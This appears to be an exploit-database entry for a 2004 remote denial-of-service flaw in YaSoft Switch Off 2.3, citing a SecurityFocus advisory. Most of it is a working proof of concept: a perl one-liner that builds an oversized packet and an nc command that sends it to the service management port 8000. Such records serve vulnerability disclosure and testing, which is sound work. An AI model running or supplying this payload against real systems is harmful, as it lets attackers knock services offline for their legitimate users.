YaSoft Switch Off 2.3 - Large Packet Remote Denial of Service

2004-01-02T00:00:00
ID EXPLOITPACK:1DD38C8F1A317E23932F0812011B8524
Type exploitpack
Reporter Peter Winter-Smith
Modified 2004-01-02T00:00:00

Description

YaSoft Switch Off 2.3 - Large Packet Remote Denial of Service

                                        
                                            source: https://www.securityfocus.com/bid/9339/info

A problem has been identified in the YaSoft Switch Off software package when handling large packets via the service management port (8000/TCP). This may make it possible for a remote user to deny service to legitimate users of the service. 

perl -e "print 'a'x10240 . chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a);" > DoS.txt

nc 127.0.0.1 8000 < DoS.txt